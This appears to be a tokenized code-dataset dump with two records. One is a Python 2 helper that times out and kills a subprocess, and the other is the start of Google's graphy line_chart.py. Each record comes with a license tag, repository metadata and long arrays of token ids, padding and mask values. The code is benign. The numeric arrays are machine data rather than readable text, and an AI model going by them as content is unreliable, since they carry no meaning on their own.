#!/usr/bin/env python import time,os class TimeoutException(Exception): def __init__(self, msg): self.msg = msg def __str__(self): return repr(self.msg) class ProcessTimer(object): '''Timeout function for controlling a subprocess.Popen instance. Naive implementation using busy loop, see later other means of doing this. ''' def __init__(self, proc, timeout): self.proc = proc self.timeout = timeout def waitfor(self): time_passed = 0 while(self.proc.poll() is None and time_passed < self.timeout): time_passed = time_passed + 1 time.sleep(1) if time_passed >= self.timeout: raise TimeoutException("Timeout expired, possible deadlock") if __name__ == "__main__": #simple example from subprocess import Popen proc = Popen(['sleep','10']) t = ProcessTimer(proc,5) try: t.waitfor() except TimeoutException: print "timeout - PID: %d" % (t.proc.pid) #TODO: detect SO and kill accordingly #Linux os.kill(t.proc.pid, 9) #Windows (not tested) #subprocess.Popen("taskkill /F /T /PID %i"%handle.pid , shell=True) print "exit code: %d" % (t.proc.poll())
lgpl-2.1
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 646, 900, 12, 736, 199, 199, 533, 12878, 1726, 8, 1726, 304, 2043, 347, 636, 826, 721, 277, 12, 1499, 304, 489, 291, 14, 1328, 275, 1499, 8410, 347, 636, 495, 721, 277, 304, 489, 372, 4700, 8, 277, 14, 1328, 9, 199, 199, 533, 7132, 7929, 8, 785, 304, 2043, 1449, 6372, 805, 367, 30350, 282, 3873, 14, 7942, 1256, 14, 8410, 11290, 1912, 4514, 1808, 10414, 89, 4438, 12, 1937, 2945, 1163, 4910, 2043, 402, 9689, 642, 14, 2043, 1449, 8410, 347, 636, 826, 721, 277, 12, 6499, 12, 2653, 304, 489, 291, 14, 4687, 275, 6499, 489, 291, 14, 2593, 275, 2653, 8410, 347, 3618, 509, 8, 277, 304, 489, 900, 63, 12070, 275, 378, 489, 1830, 8, 277, 14, 4687, 14, 6843, 342, 365, 488, 436, 900, 63, 12070, 665, 291, 14, 2593, 304, 268, 900, 63, 12070, 275, 900, 63, 12070, 435, 413, 268, 900, 14, 4532, 8, 17, 9, 2541, 340, 900, 63, 12070, 2356, 291, 14, 2593, 26, 268, 746, 12878, 1726, 480, 6372, 14721, 12, 3962, 12314, 831, 531, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 2043, 327, 4129, 2893, 8410, 687, 3873, 492, 13995, 8410, 6499, 275, 13995, 2941, 4532, 1673, 709, 1105, 2043, 307, 275, 7132, 7929, 8, 4687, 12, 21, 9, 2043, 862, 26, 489, 307, 14, 2573, 509, 342, 2043, 871, 12878, 1726, 26, 489, 870, 298, 2593, 446, 20674, 26, 450, 68, 2, 450, 334, 84, 14, 4687, 14, 3150, 9, 489, 327, 11768, 26, 9696, 3562, 436, 14561, 24137, 489, 327, 14091, 489, 747, 14, 8997, 8, 84, 14, 4687, 14, 3150, 12, 1749, 9, 489, 327, 8647, 334, 1397, 12470, 9, 489, 327, 5781, 14, 7942, 480, 1765, 8997, 1182, 38, 1182, 52, 1182, 16098, 450, 73, 6808, 2479, 14, 3150, 2360, 5218, 29, 549, 9, 2043, 870, 298, 2224, 1233, 26, 450, 68, 2, 450, 334, 84, 14, 4687, 14, 6843, 1012, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 646, 900, 12, 736, 199, 199, 533, 12878, 1726, 8, 1726, 304, 2043, 347, 636, 826, 721, 277, 12, 1499, 304, 489, 291, 14, 1328, 275, 1499, 8410, 347, 636, 495, 721, 277, 304, 489, 372, 4700, 8, 277, 14, 1328, 9, 199, 199, 533, 7132, 7929, 8, 785, 304, 2043, 1449, 6372, 805, 367, 30350, 282, 3873, 14, 7942, 1256, 14, 8410, 11290, 1912, 4514, 1808, 10414, 89, 4438, 12, 1937, 2945, 1163, 4910, 2043, 402, 9689, 642, 14, 2043, 1449, 8410, 347, 636, 826, 721, 277, 12, 6499, 12, 2653, 304, 489, 291, 14, 4687, 275, 6499, 489, 291, 14, 2593, 275, 2653, 8410, 347, 3618, 509, 8, 277, 304, 489, 900, 63, 12070, 275, 378, 489, 1830, 8, 277, 14, 4687, 14, 6843, 342, 365, 488, 436, 900, 63, 12070, 665, 291, 14, 2593, 304, 268, 900, 63, 12070, 275, 900, 63, 12070, 435, 413, 268, 900, 14, 4532, 8, 17, 9, 2541, 340, 900, 63, 12070, 2356, 291, 14, 2593, 26, 268, 746, 12878, 1726, 480, 6372, 14721, 12, 3962, 12314, 831, 531, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 2043, 327, 4129, 2893, 8410, 687, 3873, 492, 13995, 8410, 6499, 275, 13995, 2941, 4532, 1673, 709, 1105, 2043, 307, 275, 7132, 7929, 8, 4687, 12, 21, 9, 2043, 862, 26, 489, 307, 14, 2573, 509, 342, 2043, 871, 12878, 1726, 26, 489, 870, 298, 2593, 446, 20674, 26, 450, 68, 2, 450, 334, 84, 14, 4687, 14, 3150, 9, 489, 327, 11768, 26, 9696, 3562, 436, 14561, 24137, 489, 327, 14091, 489, 747, 14, 8997, 8, 84, 14, 4687, 14, 3150, 12, 1749, 9, 489, 327, 8647, 334, 1397, 12470, 9, 489, 327, 5781, 14, 7942, 480, 1765, 8997, 1182, 38, 1182, 52, 1182, 16098, 450, 73, 6808, 2479, 14, 3150, 2360, 5218, 29, 549, 9, 2043, 870, 298, 2224, 1233, 26, 450, 68, 2, 450, 334, 84, 14, 4687, 14, 6843, 1012, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
masamichi/bite-project
deps/mrtaskman/server/mapreduce/lib/graphy/line_chart.py
77
4014
#!/usr/bin/env python # # Copyright 2008 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Code related to line charts.""" import copy import warnings from mapreduce.lib.graphy import common class LineStyle(object): """Represents the style for a line on a line chart. Also provides some convenient presets. Object attributes (Passed directly to the Google Chart API. Check there for details): width: Width of the line on: Length of a line segment (for dashed/dotted lines) off: Length of a break (for dashed/dotted lines) color: Color of the line. A hex string, like 'ff0000' for red. Optional, AutoColor will fill this in for you automatically if empty. Some common styles, such as LineStyle.dashed, are available: solid dashed dotted thick_solid thick_dashed thick_dotted """ # Widths THIN = 1 THICK = 2 # Patterns # ((on, off) tuples, as passed to LineChart.AddLine) SOLID = (1, 0) DASHED = (8, 4) DOTTED = (2, 4) def __init__(self, width, on, off, color=None): """Construct a LineStyle. See class docstring for details on args.""" self.width = width self.on = on self.off = off self.color = color LineStyle.solid = LineStyle(1, 1, 0) LineStyle.dashed = LineStyle(1, 8, 4) LineStyle.dotted = LineStyle(1, 2, 4) LineStyle.thick_solid = LineStyle(2, 1, 0) LineStyle.thick_dashed = LineStyle(2, 8, 4) LineStyle.thick_dotted = LineStyle(2, 2, 4) class LineChart(common.BaseChart): """Represents a line chart.""" def __init__(self, points=None): super(LineChart, self).__init__() if points is not None: self.AddLine(points) def AddLine(self, points, label=None, color=None, pattern=LineStyle.SOLID, width=LineStyle.THIN, markers=None): """Add a new line to the chart. This is a convenience method which constructs the DataSeries and appends it for you. It returns the new series. points: List of equally-spaced y-values for the line label: Name of the line (used for the legend) color: Hex string, like 'ff0000' for red pattern: Tuple for (length of segment, length of gap). i.e. LineStyle.DASHED width: Width of the line (i.e. LineStyle.THIN) markers: List of Marker objects to attach to this line (see DataSeries for more info) """ if color is not None and isinstance(color[0], common.Marker): warnings.warn('Your code may be broken! ' 'You passed a list of Markers instead of a color. The ' 'old argument order (markers before color) is deprecated.', DeprecationWarning, stacklevel=2) style = LineStyle(width, pattern[0], pattern[1], color=color) series = common.DataSeries(points, label=label, style=style, markers=markers) self.data.append(series) return series def AddSeries(self, points, color=None, style=LineStyle.solid, markers=None, label=None): """DEPRECATED""" warnings.warn('LineChart.AddSeries is deprecated. Call AddLine instead. ', DeprecationWarning, stacklevel=2) return self.AddLine(points, color=color, width=style.width, pattern=(style.on, style.off), markers=markers, label=label) class Sparkline(LineChart): """Represent a sparkline. These behave like LineCharts, mostly, but come without axes. """
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 9079, 4475, 3277, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 624, 3034, 4048, 370, 1004, 10943, 83, 1041, 199, 199, 646, 1331, 199, 646, 3598, 199, 199, 504, 2341, 5270, 14, 773, 14, 9773, 492, 2863, 421, 199, 533, 7030, 6609, 8, 785, 304, 819, 408, 18089, 314, 3449, 367, 282, 1004, 641, 282, 1004, 10943, 14, 221, 6121, 6571, 2005, 523, 22700, 876, 2193, 14, 819, 6935, 3004, 334, 48, 2744, 5370, 370, 314, 4475, 24874, 3261, 14, 2670, 2337, 367, 523, 2436, 304, 272, 3462, 26, 644, 1466, 402, 314, 1004, 272, 641, 26, 259, 19893, 402, 282, 1004, 8135, 334, 509, 11847, 379, 15, 19404, 2385, 9, 272, 2331, 26, 257, 19893, 402, 282, 2059, 334, 509, 11847, 379, 15, 19404, 2385, 9, 272, 3164, 26, 11581, 402, 314, 1004, 14, 221, 437, 6318, 1059, 12, 2839, 283, 556, 993, 7, 367, 8992, 14, 221, 4879, 12, 1779, 9195, 4117, 911, 5554, 642, 315, 367, 1265, 5847, 340, 2701, 14, 819, 6601, 2863, 15725, 12, 4066, 465, 7030, 6609, 14, 6760, 379, 12, 787, 2808, 26, 272, 18609, 272, 11847, 379, 272, 18947, 272, 294, 2000, 63, 18533, 272, 294, 2000, 63, 6760, 379, 272, 294, 2000, 63, 19404, 523, 408, 819, 327, 644, 1466, 83, 523, 4221, 568, 275, 413, 523, 4221, 13884, 275, 499, 819, 327, 510, 4823, 523, 327, 3666, 265, 12, 2331, 9, 6346, 12, 465, 3032, 370, 7030, 16372, 14, 1123, 3049, 9, 523, 20479, 275, 334, 17, 12, 378, 9, 523, 577, 8100, 1149, 275, 334, 24, 12, 841, 9, 523, 15854, 52, 1149, 275, 334, 18, 12, 841, 9, 819, 347, 636, 826, 721, 277, 12, 3462, 12, 641, 12, 2331, 12, 3164, 29, 403, 304, 272, 408, 11493, 282, 7030, 6609, 14, 221, 1666, 1021, 9214, 367, 2436, 641, 1249, 1041, 272, 291, 14, 2063, 275, 3462, 272, 291, 14, 265, 275, 641, 272, 291, 14, 1997, 275, 2331, 272, 291, 14, 2326, 275, 3164, 421, 199, 3049, 6609, 14, 18533, 221, 275, 7030, 6609, 8, 17, 12, 413, 12, 378, 9, 199, 3049, 6609, 14, 6760, 379, 275, 7030, 6609, 8, 17, 12, 1695, 12, 841, 9, 199, 3049, 6609, 14, 19404, 275, 7030, 6609, 8, 17, 12, 499, 12, 841, 9, 199, 3049, 6609, 14, 273, 2000, 63, 18533, 221, 275, 7030, 6609, 8, 18, 12, 413, 12, 378, 9, 199, 3049, 6609, 14, 273, 2000, 63, 6760, 379, 275, 7030, 6609, 8, 18, 12, 1695, 12, 841, 9, 199, 3049, 6609, 14, 273, 2000, 63, 19404, 275, 7030, 6609, 8, 18, 12, 499, 12, 841, 9, 421, 199, 533, 7030, 16372, 8, 2330, 14, 1563, 16372, 304, 819, 408, 18089, 282, 1004, 10943, 1041, 819, 347, 636, 826, 721, 277, 12, 4501, 29, 403, 304, 272, 1613, 8, 3049, 16372, 12, 291, 2843, 826, 4533, 272, 340, 4501, 365, 440, 488, 26, 489, 291, 14, 1123, 3049, 8, 3438, 9, 819, 347, 2654, 3049, 8, 277, 12, 4501, 12, 1768, 29, 403, 12, 3164, 29, 403, 12, 1598, 3851, 29, 3049, 6609, 14, 15096, 998, 12, 3462, 29, 3049, 6609, 14, 2080, 568, 12, 14327, 29, 403, 304, 272, 408, 1123, 282, 892, 1004, 370, 314, 10943, 14, 339, 961, 365, 282, 16777, 1083, 1314, 21638, 314, 3918, 9641, 436, 1145, 3198, 652, 272, 367, 1265, 14, 221, 2779, 2529, 314, 892, 6779, 14, 2541, 4501, 26, 221, 3820, 402, 11960, 1183, 13, 2638, 68, 612, 13, 1459, 367, 314, 1004, 489, 1768, 26, 257, 2812, 402, 314, 1004, 334, 2972, 367, 314, 15906, 9, 489, 3164, 26, 257, 28333, 1059, 12, 2839, 283, 556, 993, 7, 367, 8992, 489, 3851, 26, 11634, 367, 334, 1267, 402, 8135, 12, 2582, 402, 16301, 680, 221, 284, 14, 69, 14, 2049, 7030, 6609, 14, 29019, 1149, 489, 3462, 26, 257, 644, 1466, 402, 314, 1004, 334, 73, 14, 69, 14, 7030, 6609, 14, 2080, 568, 9, 489, 14327, 26, 3820, 402, 26903, 2251, 370, 6554, 370, 642, 1004, 334, 3239, 3918, 9641, 2049, 367, 1655, 2256, 9, 272, 408, 272, 340, 3164, 365, 440, 488, 436, 1228, 8, 2326, 59, 16, 467, 2863, 14, 12825, 304, 489, 3598, 14, 4050, 360, 14398, 1233, 1443, 506, 10529, 1, 283, 490, 283, 5556, 3032, 282, 769, 402, 7173, 1192, 3140, 402, 282, 3164, 14, 710, 283, 490, 283, 1753, 1423, 1865, 334, 16835, 2544, 3164, 9, 365, 5906, 3130, 490, 13413, 12, 13232, 29, 18, 9, 272, 3449, 275, 7030, 6609, 8, 2063, 12, 3851, 59, 16, 467, 3851, 59, 17, 467, 3164, 29, 2326, 9, 272, 6779, 275, 2863, 14, 1451, 9641, 8, 3438, 12, 1768, 29, 1302, 12, 3449, 29, 2487, 12, 3044, 14327, 29, 16835, 9, 272, 291, 14, 576, 14, 740, 8, 5602, 9, 272, 372, 6779, 819, 347, 2654, 9641, 8, 277, 12, 4501, 12, 3164, 29, 403, 12, 3449, 29, 3049, 6609, 14, 18533, 12, 14327, 29, 403, 12, 355, 1768, 29, 403, 304, 272, 408, 25832, 624, 272, 3598, 14, 4050, 360, 3049, 16372, 14, 1123, 9641, 365, 5906, 14, 221, 6523, 2654, 3049, 3140, 14, 1656, 2116, 13413, 12, 13232, 29, 18, 9, 272, 372, 291, 14, 1123, 3049, 8, 3438, 12, 3164, 29, 2326, 12, 3462, 29, 2487, 14, 2063, 12, 717, 3851, 2687, 2487, 14, 265, 12, 3449, 14, 1997, 395, 14327, 29, 16835, 12 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 9079, 4475, 3277, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 624, 3034, 4048, 370, 1004, 10943, 83, 1041, 199, 199, 646, 1331, 199, 646, 3598, 199, 199, 504, 2341, 5270, 14, 773, 14, 9773, 492, 2863, 421, 199, 533, 7030, 6609, 8, 785, 304, 819, 408, 18089, 314, 3449, 367, 282, 1004, 641, 282, 1004, 10943, 14, 221, 6121, 6571, 2005, 523, 22700, 876, 2193, 14, 819, 6935, 3004, 334, 48, 2744, 5370, 370, 314, 4475, 24874, 3261, 14, 2670, 2337, 367, 523, 2436, 304, 272, 3462, 26, 644, 1466, 402, 314, 1004, 272, 641, 26, 259, 19893, 402, 282, 1004, 8135, 334, 509, 11847, 379, 